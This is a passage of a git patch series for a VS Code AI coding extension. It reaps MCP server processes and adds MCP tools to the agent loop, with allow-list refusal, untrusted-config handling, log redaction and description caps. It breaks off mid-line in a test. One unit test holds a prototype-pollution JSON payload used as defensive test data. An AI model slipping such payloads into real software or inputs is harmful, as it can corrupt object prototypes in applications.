From e84115b6f2784d381e1ef064a0de3f8896f2df0f Mon Sep 17 00:00:00 2001 From: Sergii Demianchuk Date: Thu, 23 Jul 2026 00:11:37 -0400 Subject: [PATCH 1/7] fix(mcp): reap MCP servers on New Chat and unload MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit S2 shipped reapMcp() but nothing ever called it — extension.js did not require mcpClient at all, and both newChat() and deactivate() reaped only commands. An MCP server is a detached child holding ports and handles exactly like a bgRun, so the moment S3 starts connecting them, every New Chat and every window reload would orphan one. Latent rather than broken today (nothing connects yet), which is precisely why it is worth landing before S3 rather than after: it is three lines and it is independently verifiable. Verified against the S2 fixture server, not just by inspection: connect → pid alive → reapMcp() → registry empty → process confirmed dead after the 1500ms SIGTERM→SIGKILL grace (checking before the grace elapses shows it mid- termination and reads as a false orphan). Also checked deactivate()'s path never throws with zero servers connected — two consecutive reaps on an empty registry are a clean no-op. Full gate: 18 suites, 0 failures. Co-Authored-By: Claude Opus 4.8 --- extensions/levelcode-ai/extension.js | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/extensions/levelcode-ai/extension.js b/extensions/levelcode-ai/extension.js index 0416144..630fc75 100644 --- a/extensions/levelcode-ai/extension.js +++ b/extensions/levelcode-ai/extension.js @@ -26,6 +26,7 @@ const { formatDiagnosticLines, diagKey } = require('./verify'); const { loadSkills, skillsMenu, getSkillBody } = require('./skills'); const { openCustomize } = require('./customize'); const { importFromVscode } = require('./importVscode'); +const { reapMcp } = require('./mcpClient'); const SECRET_KEY = 'levelcode.ai.anthropicKey'; // legacy Anthropic key location (kept for back-compat) const FILE_EXCLUDES = '{**/node_modules/**,**/.git/**,**/out/**,**/dist/**,**/.vscode-test/**,**/*.map}'; @@ -618,6 +619,7 @@ function newChat() { contextFiles = []; if (abort) { abort.abort(); } reapCommands(); // kill any background servers/watchers from the old session + reapMcp(); // …and any MCP servers: they are detached children too if (review) { review.finalizeAll(); } // drop review UI without reverting the user's files post({ type: 'reset' }); postContextFiles(); @@ -1669,6 +1671,6 @@ function activate(context) { } } -function deactivate() { if (abort) { abort.abort(); } reapCommands(); } +function deactivate() { if (abort) { abort.abort(); } reapCommands(); reapMcp(); } module.exports = { activate, deactivate }; From ea02d1a9650845b5a34246b391dba1463902b62b Mon Sep 17 00:00:00 2001 From: Sergii Demianchuk Date: Thu, 23 Jul 2026 00:22:39 -0400 Subject: [PATCH 2/7] feat(mcp): wire MCP tools into the agent loop (S3) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Turns S1+S2 from inert modules into tools the model can actually call. WHAT CHANGED - mcpConfig.buildAgentTools() — the whole MCP→agent translation: MCP's {name, description, inputSchema} becomes our {name, description, input_schema} plus a routes map (namespaced name → server/tool/annotations). Pure, takes plain data rather than live handles, so it is testable without spawning. - agent.js — TOOLS/TOOLS_TOKENS_EST become PER-RUN, built beside system/ systemTokensEst which already had exactly this shape. The router sits immediately before the `unknown tool` return: an MCP name matches none of the built-in branches, so every MCP call necessarily arrives at that one line. - extension.js — reads the two new settings and hands them in, like verify/ commandTimeout, so agent.js keeps its distance from the editor API. - G4 hardening: tool descriptions capped (they ride every turn and are the injection surface), and MCP arguments are REDACTED in the debug log — that line is posted into the chat, and MCP args routinely carry tokens. TRUST (the reason this slice is deliberately small) Only source:'settings' servers are started. A .levelcode/mcp.json is repo- authored — attacker-controlled for any repo you clone — and a server entry names a process to spawn, so starting those here would make S3 itself the RCE-on-clone hole that S4's launch gate exists to close. They are reported, not silently skipped, so the gap reads as a missing feature rather than a bug. And because S3 ships no approval CARD (S4 owns it), a tool the user has not explicitly allow-listed is REFUSED, not run — including under Autopilot. The refusal names the exact setting to change, and tells the model not to retry it, so it degrades into an explanation instead of a loop. The run-start chip shows "0/12 allow-listed" up front so a later refusal is legible. VERIFIED - 35 unit tests (11 new). Four mutations, each caught: unsafe Object.assign in schemaOf, dropping the object-type normalization, removing the description cap, and correlating specs by index instead of by (server, tool) key. - That last one initially did NOT fail against the broken code: with a single server all drops land at the tail so indices coincidentally line up, and the test passed while proving nothing — the same defect flagged in the PR #29 review, in my own test. Rewritten with an over-cap server FOLLOWED by a second server, which is what makes a mis-correlation observable; it now fails. - End-to-end against a real MCP server (the S2 fixture): connect → tools/list → buildAgentTools → legal names + object schemas → refused with no policy → allow-listed → real call returns "echo: hello from S3" → a failing tool comes back as `ERROR: it broke` rather than throwing → reaped, process confirmed dead. The ~20 lines of router glue inside runTool are NOT unit-tested (agent.js requires `vscode`); they are covered by reading plus this integration run of every function they call. - Full gate: 18 suites, 0 failures. Also: I reintroduced a raw NUL byte into mcpConfig.js while writing this (the separator is deliberately NUL, but the byte was written raw instead of escaped), which makes `file` report "data" and makes grep and diff skip the file in silence. Same defect the PR #29 review caught. Nothing in the toolchain notices, so there is now a byte-level guard test covering all four mcp sources — it fired on this very test file, which had one too. Co-Authored-By: Claude Opus 4.8 --- extensions/levelcode-ai/agent.js | 115 +++++++++++++- extensions/levelcode-ai/extension.js | 3 + extensions/levelcode-ai/mcpConfig.js | 99 ++++++++++-- extensions/levelcode-ai/package.json | 10 ++ .../levelcode-ai/test/mcpConfig.test.js | 148 ++++++++++++++++++ 5 files changed, 357 insertions(+), 18 deletions(-) diff --git a/extensions/levelcode-ai/agent.js b/extensions/levelcode-ai/agent.js index 96bdc7e..41a1a54 100644 --- a/extensions/levelcode-ai/agent.js +++ b/extensions/levelcode-ai/agent.js @@ -17,6 +17,8 @@ const providers = require('./providers/index'); const { formatVerifyFeedback, verifyOutcome, looksUnrunnable, sniffPort, looksReady } = require('./verify'); const { classifyCommand, dangerLabel } = require('./commandSafety'); const { loadProjectRules } = require('./projectRules'); +const { loadServerConfig, buildAgentTools, classifyMcpTool } = require('./mcpConfig'); +const { connectAll, getServer } = require('./mcpClient'); const SYSTEM_BASE = [ "You are LevelCode's built-in autonomous coding agent. You accomplish the user's goal in their", @@ -200,12 +202,19 @@ function applyStringEdit(raw, oldStr, newStr) { return { proposed }; } -/** Compact summary of a tool's input for debug logs (truncate long strings). */ -function inputPreview(input) { +/** + * Compact summary of a tool's input for debug logs (truncate long strings). + * + * `redact` is for MCP calls (docs/MCP.md G4): those arguments are headed for a third-party server and + * routinely carry API tokens, record ids, and private query text — and this debug line is POSTED INTO + * THE CHAT when levelcode.ai.debug is on. Log the shape, never the values. + */ +function inputPreview(input, redact) { if (!input || typeof input !== 'object') { return input; } const out = {}; for (const k of Object.keys(input)) { const v = input[k]; + if (redact) { out[k] = '‹' + (Array.isArray(v) ? 'array' : typeof v) + '›'; continue; } out[k] = typeof v === 'string' ? (v.length > 60 ? v.slice(0, 60) + '…(' + v.length + 'ch)' : v) : v; } return out; @@ -439,6 +448,28 @@ async function runTool(tu, ctx) { ctx.post({ type: 'agentTool', icon: 'sparkle', text: '🧩 using skill: ' + name }); // quiet chip — only on success (🧩 is the marker; 'sparkle' falls back cleanly) return body; // SKILL.md body → tool_result, steers the next turns } + // MCP tools (docs/MCP.md S3). An MCP name matches none of the built-in branches above, so every + // MCP call necessarily arrives HERE — which is why the router is one block at one line rather + // than a dispatch scattered through runTool. + const route = ctx.mcpRoutes && ctx.mcpRoutes.get(tu.name); + if (route) { + const verdict = classifyMcpTool(tu.name, ctx.mcp && ctx.mcp.toolPolicy, route.annotations); + if (verdict.approve !== 'allow') { + // S3 deliberately ships no approval CARD (S4 owns it), so anything the user has not + // explicitly allow-listed is REFUSED rather than run — the alternative would be silently + // executing third-party code on the user's behalf with no way to say no. The message is + // addressed to the model but written for the user's benefit: it names the exact setting. + ctx.post({ type: 'agentTool', icon: 'shield', text: '🔌 mcp · refused ' + tu.name + ' — ' + verdict.reason }); + return 'ERROR: the MCP tool "' + tu.name + '" is not approved to run (' + verdict.reason + '), and ' + + 'approval prompts are not available in this build. To allow it, the USER must add ' + + '"' + tu.name + '": "allow" to the "levelcode.ai.mcp.toolPolicy" setting. Do NOT retry it in ' + + 'this run — continue without it, or tell the user what you needed it for.'; + } + const server = getServer(route.server); + if (!server || !server.alive) { return 'ERROR: the MCP server "' + route.server + '" is not running.'; } + ctx.post({ type: 'agentTool', icon: 'plug', text: '🔌 ' + route.server + ' · ' + route.tool }); + return await server.call(route.tool, input); // never throws — failures come back as `ERROR: …` + } return 'ERROR: unknown tool ' + tu.name; } catch (e) { return 'ERROR: ' + ((e && e.message) || e); @@ -462,6 +493,69 @@ function isAgentAuthError(e) { return /\bAPI 401\b|signature has expired/i.test(String((e && e.message) || e)); } +/** + * Connect the user's MCP servers and turn their tools into this run's extra TOOLS entries (docs/MCP.md + * S3). Returns `{tools, routes}` — empty when MCP is unconfigured, which is the overwhelming common case + * and must cost nothing. + * + * TRUST: only `source:'settings'` servers are started. A `.levelcode/mcp.json` is REPO-authored — i.e. + * attacker-controlled for any repo you clone — and a server entry names a process to spawn, so starting + * one here would make this slice exactly the RCE-on-clone hole that the S4 launch gate exists to close. + * They are reported, not silently skipped, so the gap looks like a missing feature rather than a bug. + * + * Never throws: MCP is an enhancement, and no server misconfiguration may take down an agent run. + */ +async function setupMcp(ctx, wsFolders, dbg) { + const empty = { tools: [], routes: null }; + const cfg = ctx.mcp || {}; + try { + const { servers, problems } = loadServerConfig({ + settings: cfg.servers, + folders: wsFolders, + readFile: (abs) => { try { return fs.readFileSync(abs, 'utf8'); } catch { return null; } } + }); + for (const p of problems) { dbg('mcp.config', p); } + if (!servers.length) { return empty; } + + const deferred = servers.filter((s) => s.source !== 'settings'); + if (deferred.length) { + ctx.post({ type: 'agentTool', icon: 'shield', text: '🔌 mcp · ' + deferred.length + ' workspace server(s) not started — repo-defined servers need an approval step that ships later' }); + } + const trusted = servers.filter((s) => s.source === 'settings'); + if (!trusted.length) { return empty; } + + // Connecting is up-front work: the tool list must be complete before turn one, so there is no + // lazy option. Only the FIRST run of a session pays it — mcpClient keeps handles in a module + // registry, and connectAll reuses a live one. + ctx.post({ type: 'agentStatus', text: 'starting MCP servers…' }); + const { handles, problems: connectProblems } = await connectAll(trusted, { cwd: ctx.root }); + for (const p of connectProblems) { + dbg('mcp.connect', p); + ctx.post({ type: 'agentTool', icon: 'warning', text: '🔌 mcp · "' + p.server + '" failed to start — ' + p.message }); + } + if (!handles.length) { return empty; } + + const built = buildAgentTools(handles.map((h) => ({ name: h.name, tools: h.tools }))); + for (const p of built.problems) { + dbg('mcp.tools', p); + ctx.post({ type: 'agentTool', icon: 'warning', text: '🔌 mcp · ' + p.message }); + } + if (!built.tools.length) { return empty; } + + // Show the allow-listed count up front: with no policy set it reads "0/12 allow-listed", which is + // what makes a later refusal legible instead of looking broken. + const allowed = built.tools.filter((t) => classifyMcpTool(t.name, cfg.toolPolicy).approve === 'allow').length; + const summary = handles.map((h) => h.name + ' (' + h.tools.length + ')').join(', '); + dbg('mcp.ready', { servers: handles.map((h) => h.name), tools: built.tools.length, allowed }); + ctx.post({ type: 'agentTool', icon: 'plug', text: '🔌 mcp · ' + summary + ' · ' + allowed + '/' + built.tools.length + ' allow-listed' }); + return built; + } catch (e) { + dbg('mcp.failed', { error: (e && e.message) || String(e) }); + ctx.post({ type: 'agentTool', icon: 'warning', text: '🔌 mcp · setup failed — ' + ((e && e.message) || e) }); + return empty; + } +} + async function runAgent(ctx) { const root = workspaceRoot(); if (!root) { ctx.post({ type: 'agentError', message: 'Open a folder first — the agent works on your workspace.' }); ctx.post({ type: 'agentDone', reason: 'error' }); return; } @@ -492,6 +586,17 @@ async function runAgent(ctx) { // (mirrors the skill chip). Reuses the agentTool → addAgentLine rendering — no webview change. ctx.post({ type: 'agentTool', icon: 'file', text: '📋 project rules · ' + rules.sources.join(', ') }); } + + // MCP (docs/MCP.md S3): the tool list becomes PER-RUN. It was a module constant only because it was + // the same every time; a run's servers are whatever is configured and reachable right now. Same shape + // as `system`/`systemTokensEst` two lines up — built once per run, then used for every turn. + const mcp = await setupMcp(ctx, wsFolders, dbg); + ctx.mcpRoutes = mcp.routes; // runTool's router reads this + const tools = mcp.tools.length ? TOOLS.concat(mcp.tools) : TOOLS; + // Recomputed only when MCP actually contributed tools, so the no-MCP path keeps the module constant + // and pays nothing for a feature it isn't using. + const toolsTokensEst = mcp.tools.length ? Math.round(JSON.stringify(tools).length / 4) : TOOLS_TOKENS_EST; + const messages = ctx.messages; let step = 0; let reason = 'done'; @@ -577,7 +682,7 @@ async function runAgent(ctx) { const turnOpts = { providerId: ctx.providerId, baseURL: ctx.baseURL, apiKey: ctx.apiKey, model: ctx.model, maxTokens: perTurnMax, system: system, - messages, tools: TOOLS, signal: ctx.signal, + messages, tools: tools, signal: ctx.signal, onText: (t) => { streamed = true; textChars += t.length; ctx.post({ type: 'agentDelta', text: t }); }, onToolStart: (name) => { dbg('tool.start', { name }); @@ -615,7 +720,7 @@ async function runAgent(ctx) { if (turn.usage.cost_micros != null) { runCostMicros += turn.usage.cost_micros; } if (turn.usage.credits_remaining_micros != null) { ctx.credits = turn.usage.credits_remaining_micros; } dbg('usage', { input: turn.usage.input_tokens, output: turn.usage.output_tokens, cacheRead: turn.usage.cache_read_input_tokens, cumulativeOutput: cumulativeOutputTokens, costMicros: turn.usage.cost_micros, creditsLeftMicros: turn.usage.credits_remaining_micros }); - ctx.post({ type: 'contextUsage', input: (turn.usage.input_tokens || 0) + (turn.usage.cache_read_input_tokens || 0) + (turn.usage.cache_creation_input_tokens || 0), output: turn.usage.output_tokens || 0, limit: ctx.contextLimit || 200000, model: ctx.model, system: systemTokensEst, tools: TOOLS_TOKENS_EST, cacheRead: turn.usage.cache_read_input_tokens || 0, cacheWrite: turn.usage.cache_creation_input_tokens || 0 }); + ctx.post({ type: 'contextUsage', input: (turn.usage.input_tokens || 0) + (turn.usage.cache_read_input_tokens || 0) + (turn.usage.cache_creation_input_tokens || 0), output: turn.usage.output_tokens || 0, limit: ctx.contextLimit || 200000, model: ctx.model, system: systemTokensEst, tools: toolsTokensEst, cacheRead: turn.usage.cache_read_input_tokens || 0, cacheWrite: turn.usage.cache_creation_input_tokens || 0 }); } // Reasoning models (e.g. Kimi K2.7 Code) emit inline in the text @@ -654,7 +759,7 @@ async function runAgent(ctx) { for (const tu of toolUses) { if (cancelled || ctx.signal.aborted) { cancelled = true; dbg('tool.cancelled', { name: tu.name }); results.push({ type: 'tool_result', tool_use_id: tu.id, content: 'Cancelled by the user.' }); continue; } if (turn.malformed && turn.malformed.has(tu.id)) { dbg('tool.malformed', { name: tu.name }); results.push({ type: 'tool_result', tool_use_id: tu.id, content: 'ERROR: your tool arguments were cut off (truncated JSON). Retry with smaller input — for edits use edit_file with a short snippet.' }); continue; } - dbg('tool.call', { name: tu.name, input: inputPreview(tu.input) }); + dbg('tool.call', { name: tu.name, input: inputPreview(tu.input, !!(ctx.mcpRoutes && ctx.mcpRoutes.has(tu.name))) }); const out = await runTool(tu, ctx); dbg('tool.result', { name: tu.name, chars: String(out).length, error: String(out).startsWith('ERROR') }); results.push({ type: 'tool_result', tool_use_id: tu.id, content: String(out) }); diff --git a/extensions/levelcode-ai/extension.js b/extensions/levelcode-ai/extension.js index 630fc75..ddc018d 100644 --- a/extensions/levelcode-ai/extension.js +++ b/extensions/levelcode-ai/extension.js @@ -975,6 +975,9 @@ async function agentFlow(text) { return (await refreshGatewayToken()) ? await ctx.secrets.get(ACCOUNT_TOKEN_KEY) : null; }, skills: skillsObj, // M6.5: implicit skills (name+desc menu in SYSTEM + use_skill resolver) + // MCP (docs/MCP.md S3). Config is read HERE and handed in, like verify/commandTimeout, so + // agent.js keeps doing the loading + connecting + naming without reaching for the editor API. + mcp: { servers: cfg.get('mcp.servers', {}), toolPolicy: cfg.get('mcp.toolPolicy', {}) }, contextLimit: contextLimitFor(req.providerId, capsModel(req.model)), // Auto → flagship window; the model SENT stays req.model commandStops: commandStops, // runId → stop() (process-group kill); used by Stop button / ■ commandRuns: bgRuns, // runId → background-process registry (read_command_output reads it) diff --git a/extensions/levelcode-ai/mcpConfig.js b/extensions/levelcode-ai/mcpConfig.js index ed98678..1246aa8 100644 --- a/extensions/levelcode-ai/mcpConfig.js +++ b/extensions/levelcode-ai/mcpConfig.js @@ -44,6 +44,9 @@ const WORKSPACE_CONFIG_PATH = ['.levelcode', 'mcp.json']; // window; and a config with 500 servers is a mistake, not a use case. const MAX_SERVERS = 20; const MAX_TOOLS_PER_SERVER = 64; +// A tool DESCRIPTION is a third-party string that rides every turn and is read by the model — both a +// context cost and the prompt-injection surface of docs/MCP.md G4. Bound it; we cannot sanitize meaning. +const MAX_TOOL_DESC = 1024; // ---- 1. server config ------------------------------------------------------------------------ @@ -55,20 +58,21 @@ function serverMapOf(parsed) { return parsed; } -// Keys that must never be copied out of an untrusted config: assigning `__proto__` invokes the -// prototype setter rather than creating a property, and `constructor`/`prototype` are the usual -// companions. See safeEnvCopy. +// Keys that must never be copied out of untrusted JSON: assigning `__proto__` invokes the prototype +// setter rather than creating a property, and `constructor`/`prototype` are the usual companions. +// See safeCopy. const UNSAFE_KEYS = ['__proto__', 'constructor', 'prototype']; /** - * Copy an untrusted env map. `.levelcode/mcp.json` is repo-authored, and JSON.parse creates a REAL own - * `__proto__` key, so a plain Object.assign would hand it to the prototype setter instead of copying it. - * The string-value check in normalizeServer already rejects the classic object-valued payload, which - * makes today's safety incidental — this makes it structural, and stops an env var named `__proto__` - * from silently vanishing into a setter. Deliberately a normal object, not Object.create(null): later - * code (and tests) may reasonably call hasOwnProperty on it. + * Shallow-copy a map that came from untrusted JSON — a repo-authored `.levelcode/mcp.json` env block, + * or a server-supplied `inputSchema`. JSON.parse creates a REAL own `__proto__` key, so a plain + * Object.assign would hand it to the prototype setter instead of copying it. The string-value check in + * normalizeServer already rejects the classic object-valued payload, which makes today's safety + * incidental — this makes it structural, and stops a key legitimately named `__proto__` from silently + * vanishing into a setter. Deliberately a normal object, not Object.create(null): later code (and + * tests) may reasonably call hasOwnProperty on it. */ -function safeEnvCopy(raw) { +function safeCopy(raw) { const out = {}; for (const k of Object.keys(raw || {})) { if (UNSAFE_KEYS.indexOf(k) !== -1) { continue; } @@ -93,7 +97,7 @@ function normalizeServer(name, raw, source, origin) { name: name, command: raw.command, args: raw.args ? raw.args.slice() : [], - env: raw.env ? safeEnvCopy(raw.env) : {}, + env: raw.env ? safeCopy(raw.env) : {}, source: source, // 'settings' (user-authored) | 'workspace' (repo-authored, untrusted) origin: origin // human label for the consent card / problem messages }; @@ -226,6 +230,75 @@ function assignToolNames(pairs, opts) { return { tools, problems }; } +/** + * A tool schema the providers will actually accept. MCP says `inputSchema` is a JSON Schema of type + * "object", but a server can send anything; a non-object top-level schema is a provider 400, which the + * agent would surface as an opaque failure on turn one. Normalize rather than trust, and copy safely — + * this is server-supplied JSON, same reasoning as safeCopy's other caller. + */ +function schemaOf(raw) { + if (!raw || typeof raw !== 'object' || Array.isArray(raw)) { return { type: 'object', properties: {} }; } + const out = safeCopy(raw); + out.type = 'object'; + if (!out.properties || typeof out.properties !== 'object' || Array.isArray(out.properties)) { out.properties = {}; } + return out; +} + +/** Capped description, with a fallback — the model needs *something* to decide with. */ +function describeTool(spec, server, tool) { + const raw = typeof spec.description === 'string' ? spec.description.trim() : ''; + if (!raw) { return 'The "' + tool + '" tool from the "' + server + '" MCP server (no description provided).'; } + return raw.length > MAX_TOOL_DESC ? raw.slice(0, MAX_TOOL_DESC - 1) + '…' : raw; +} + +/** + * Turn the tool lists of connected servers into (a) agent TOOLS entries and (b) the routing table the + * agent uses to send a call back to the right server. This is the whole translation layer: MCP's + * `{name, description, inputSchema}` is our `{name, description, input_schema}` — a field rename, per + * docs/MCP.md — plus the naming/capping that makes it safe to put on the wire. + * + * Pure: takes plain data (`{name, tools}`), not live handles, so it is unit-testable without spawning. + * + * @param {Array<{name:string, tools:Array}>} servers + * @returns {{ tools: Array, routes: Map, + * problems: Array }} + */ +function buildAgentTools(servers, opts) { + const specs = new Map(); + const pairs = []; + for (const s of (Array.isArray(servers) ? servers : [])) { + if (!s || typeof s.name !== 'string' || !s.name || !Array.isArray(s.tools)) { continue; } + for (const t of s.tools) { + if (!t || typeof t.name !== 'string' || !t.name) { continue; } + const key = s.name + '\u0000' + t.name; + if (specs.has(key)) { continue; } // a server that lists the same tool twice + specs.set(key, t); + pairs.push({ server: s.name, tool: t.name }); + } + } + + // assignToolNames may DROP entries (the per-server cap) so its output is a subsequence, not a 1:1 + // row-for-row mapping — correlate by (server, tool) rather than by index. + const assigned = assignToolNames(pairs, opts); + const tools = []; + const routes = new Map(); + for (const a of assigned.tools) { + const spec = specs.get(a.server + '\u0000' + a.tool) || {}; + tools.push({ + name: a.name, + description: describeTool(spec, a.server, a.tool), + input_schema: schemaOf(spec.inputSchema) + }); + routes.set(a.name, { + server: a.server, + tool: a.tool, + // Kept for classifyMcpTool, which may only ever TIGHTEN on them (they are server-supplied). + annotations: (spec.annotations && typeof spec.annotations === 'object') ? spec.annotations : null + }); + } + return { tools, routes, problems: assigned.problems }; +} + // ---- 3. approval policy ---------------------------------------------------------------------- /** @@ -255,6 +328,6 @@ function classifyMcpTool(name, policy, annotations) { } module.exports = { - loadServerConfig, namespaceToolName, assignToolNames, classifyMcpTool, - BUILTIN_TOOL_NAMES, MAX_TOOL_NAME, MAX_SERVERS, MAX_TOOLS_PER_SERVER, WORKSPACE_CONFIG_PATH + loadServerConfig, namespaceToolName, assignToolNames, buildAgentTools, classifyMcpTool, + BUILTIN_TOOL_NAMES, MAX_TOOL_NAME, MAX_TOOL_DESC, MAX_SERVERS, MAX_TOOLS_PER_SERVER, WORKSPACE_CONFIG_PATH }; diff --git a/extensions/levelcode-ai/package.json b/extensions/levelcode-ai/package.json index 866365b..449868c 100644 --- a/extensions/levelcode-ai/package.json +++ b/extensions/levelcode-ai/package.json @@ -431,6 +431,16 @@ "default": false, "description": "Treat editor warnings (not just errors) as verification failures the agent must fix. Off by default — only errors block." }, + "levelcode.ai.mcp.servers": { + "type": "object", + "default": {}, + "markdownDescription": "MCP servers the agent may use, as `{ \"name\": { \"command\": \"…\", \"args\": […], \"env\": {…} } }` (a `mcpServers` wrapper is also accepted). Each entry names **a process LevelCode will run with your privileges**, so add only servers you trust.\n\nExample:\n```json\n{ \"filesystem\": { \"command\": \"npx\", \"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\", \"/path\"] } }\n```\n\nServers defined in a repo's `.levelcode/mcp.json` are read and listed but **never started** — repo-authored config is untrusted, and its approval step ships in a later release." + }, + "levelcode.ai.mcp.toolPolicy": { + "type": "object", + "default": {}, + "markdownDescription": "Which MCP tools may run, as `{ \"server__tool\": \"allow\" | \"ask\" }` — use `\"*\": \"allow\"` for all of them. Tool names are namespaced `server__tool` exactly as they appear in the chat.\n\nAnything not allow-listed is **refused**, including under Autopilot: an MCP tool is third-party code, so Autopilot deliberately does not relax this. A server's own `destructiveHint` overrides an `allow` here — server hints may only ever tighten, never loosen." + }, "levelcode.ai.completions.enabled": { "type": "boolean", "default": true, diff --git a/extensions/levelcode-ai/test/mcpConfig.test.js b/extensions/levelcode-ai/test/mcpConfig.test.js index b779c19..ca12ec7 100644 --- a/extensions/levelcode-ai/test/mcpConfig.test.js +++ b/extensions/levelcode-ai/test/mcpConfig.test.js @@ -256,4 +256,152 @@ test('POLICY: a readOnlyHint grants nothing on its own (annotations are untruste assert.strictEqual(M.classifyMcpTool('gh__read', {}, { readOnlyHint: true }).approve, 'ask'); }); +// ---- 4. buildAgentTools: MCP tool specs → agent descriptors + routing table (S3) -------------- + +const SRV = (name, tools) => ({ name, tools }); + +test('BUILD: the MCP→agent shape is a field rename, and the route round-trips', () => { + const b = M.buildAgentTools([SRV('github', [ + { name: 'create_issue', description: 'Open an issue.', inputSchema: { type: 'object', properties: { title: { type: 'string' } }, required: ['title'] } } + ])]); + assert.strictEqual(b.tools.length, 1); + assert.deepStrictEqual(b.tools[0], { + name: 'github__create_issue', + description: 'Open an issue.', + input_schema: { type: 'object', properties: { title: { type: 'string' } }, required: ['title'] } + }); + // The router's job: namespaced name → the (server, tool) the call must be sent back to. + assert.deepStrictEqual(b.routes.get('github__create_issue'), { server: 'github', tool: 'create_issue', annotations: null }); +}); + +test('BUILD: every generated name is provider-legal, even from the nasty corpus', () => { + const b = M.buildAgentTools(NASTY.map(([s, t], i) => SRV(s + '#' + i, [{ name: t }]))); + assert.ok(b.tools.length > 0); + for (const t of b.tools) { assert.ok(LEGAL.test(t.name), 'illegal name: ' + t.name); } +}); + +test('BUILD: a tool may never shadow a built-in (read_file stays OURS)', () => { + // A server literally named so that `server__tool` would collide is impossible (the separator makes + // that hard), so assert the real invariant instead: no emitted name is ever a built-in name. + const b = M.buildAgentTools([SRV('x', M.BUILTIN_TOOL_NAMES.map((nm) => ({ name: nm })))]); + for (const t of b.tools) { + assert.ok(M.BUILTIN_TOOL_NAMES.indexOf(t.name) === -1, t.name + ' shadows a built-in'); + } +}); + +test('BUILD: a missing/garbage inputSchema becomes a valid object schema (never a provider 400)', () => { + const b = M.buildAgentTools([SRV('s', [ + { name: 'none' }, + { name: 'str', inputSchema: 'nope' }, + { name: 'arr', inputSchema: [1, 2] }, + { name: 'wrongtype', inputSchema: { type: 'string' } }, + { name: 'noprops', inputSchema: { type: 'object' } } + ])]); + assert.strictEqual(b.tools.length, 5); + for (const t of b.tools) { + assert.strictEqual(t.input_schema.type, 'object', t.name + ' must have an object schema'); + assert.strictEqual(typeof t.input_schema.properties, 'object'); + assert.ok(!Array.isArray(t.input_schema.properties)); + } +}); + +test('BUILD: an untrusted inputSchema cannot retarget the prototype', () => { + const raw = JSON.parse('{"type":"object","properties":{"a":{"type":"string"}},"__proto__":{"pwned":1}}'); + const b = M.buildAgentTools([SRV('s', [{ name: 't', inputSchema: raw }])]); + const schema = b.tools[0].input_schema; + assert.ok(!Object.prototype.hasOwnProperty.call(schema, '__proto__')); + assert.strictEqual(Object.getPrototypeOf(schema), Object.prototype); + // @ts-expect-error — probing for global pollution + assert.strictEqual({}.pwned, undefined, 'global Object.prototype must be untouched'); + assert.deepStrictEqual(schema.properties, { a: { type: 'string' } }, 'the real schema must survive'); +}); + +test('BUILD: a description is capped, and a missing one still says something useful', () => { + const b = M.buildAgentTools([SRV('s', [ + { name: 'long', description: 'x'.repeat(5000) }, + { name: 'none' }, + { name: 'blank', description: ' ' } + ])]); + const byName = new Map(b.tools.map((t) => [t.name, t])); + assert.ok(byName.get('s__long').description.length <= M.MAX_TOOL_DESC); + // The model must be able to tell what an undescribed tool IS, or it cannot choose it sensibly. + for (const nm of ['s__none', 's__blank']) { + const d = byName.get(nm).description; + assert.ok(d.includes('s') && d.length > 10, nm + ' needs a usable fallback description'); + } +}); + +test('BUILD: annotations ride along so the policy can tighten on them', () => { + const b = M.buildAgentTools([SRV('s', [{ name: 'rm', annotations: { destructiveHint: true } }])]); + const route = b.routes.get('s__rm'); + assert.deepStrictEqual(route.annotations, { destructiveHint: true }); + // The whole point of carrying them: an allow-list entry must NOT beat a destructive hint. + assert.strictEqual(M.classifyMcpTool('s__rm', { 's__rm': 'allow' }, route.annotations).approve, 'ask'); +}); + +test('BUILD: over-cap tools are dropped, and routes stay correlated to the RIGHT spec', () => { + // assignToolNames returns a SUBSEQUENCE (the per-server cap drops entries), so correlating its + // output back to the specs by index instead of by (server, tool) would attach descriptions and + // schemas to the wrong tools. A SECOND server after the over-cap one is what makes that visible: + // with a single server the drops are all at the tail, indices coincidentally still line up, and the + // test passes against the broken version — proving nothing. Overflow FIRST, then a second server. + const many = []; + for (let i = 0; i < M.MAX_TOOLS_PER_SERVER + 5; i++) { many.push({ name: 'big' + i, description: 'A-' + i }); } + const b = M.buildAgentTools([SRV('a', many), SRV('b', [ + { name: 'one', description: 'B-one' }, { name: 'two', description: 'B-two' } + ])]); + + assert.strictEqual(b.tools.length, M.MAX_TOOLS_PER_SERVER + 2, 'server a is capped; server b is not'); + assert.ok(b.problems.some((p) => /more than/.test(p.message)), 'dropping must be reported, not silent'); + // The load-bearing assertion: the tools that follow the dropped ones still carry THEIR OWN spec. + const byName = new Map(b.tools.map((t) => [t.name, t])); + assert.strictEqual(byName.get('b__one').description, 'B-one'); + assert.strictEqual(byName.get('b__two').description, 'B-two'); + assert.deepStrictEqual(b.routes.get('b__one'), { server: 'b', tool: 'one', annotations: null }); + for (const t of b.tools) { + const route = b.routes.get(t.name); + const expected = route.server === 'b' ? 'B-' + route.tool : 'A-' + route.tool.slice(3); + assert.strictEqual(t.description, expected, t.name + ' got another tool\'s description'); + } +}); + +test('BUILD: junk servers and junk tools are skipped without throwing', () => { + const b = M.buildAgentTools([ + null, 'nope', { name: '', tools: [] }, { name: 'ok', tools: null }, + SRV('good', [null, { name: '' }, { name: 42 }, { name: 'real' }]) + ]); + assert.deepStrictEqual(b.tools.map((t) => t.name), ['good__real']); +}); + +test('BUILD: nothing configured costs nothing', () => { + for (const input of [undefined, null, [], 'x']) { + const b = M.buildAgentTools(input); + assert.strictEqual(b.tools.length, 0); + assert.strictEqual(b.routes.size, 0); + } +}); + +// ---- 5. source hygiene ----------------------------------------------------------------------- + +test('SOURCE: the mcp modules contain no raw control bytes', () => { + // This has now bitten twice. Both mcpConfig.js separators are deliberately NUL (a space would let + // server "a b" + tool "c" collide with server "a" + tool "b c"), but writing the byte RAW instead of + // as a backslash-u escape makes `file` report "data" and makes grep and diff skip the file + // silently: you stop being able to search your own source, and a reviewer just sees + // "Binary file … matches". The runtime value is identical either way, so no test, type-check or + // lint catches it — only a byte-level check like this one does. It bit this very file too, which + // is why the list below includes the test. + const fs = require('fs'); + const path = require('path'); + for (const f of ['mcpConfig.js', 'mcpClient.js', 'mcpProtocol.js', 'test/mcpConfig.test.js']) { + const buf = 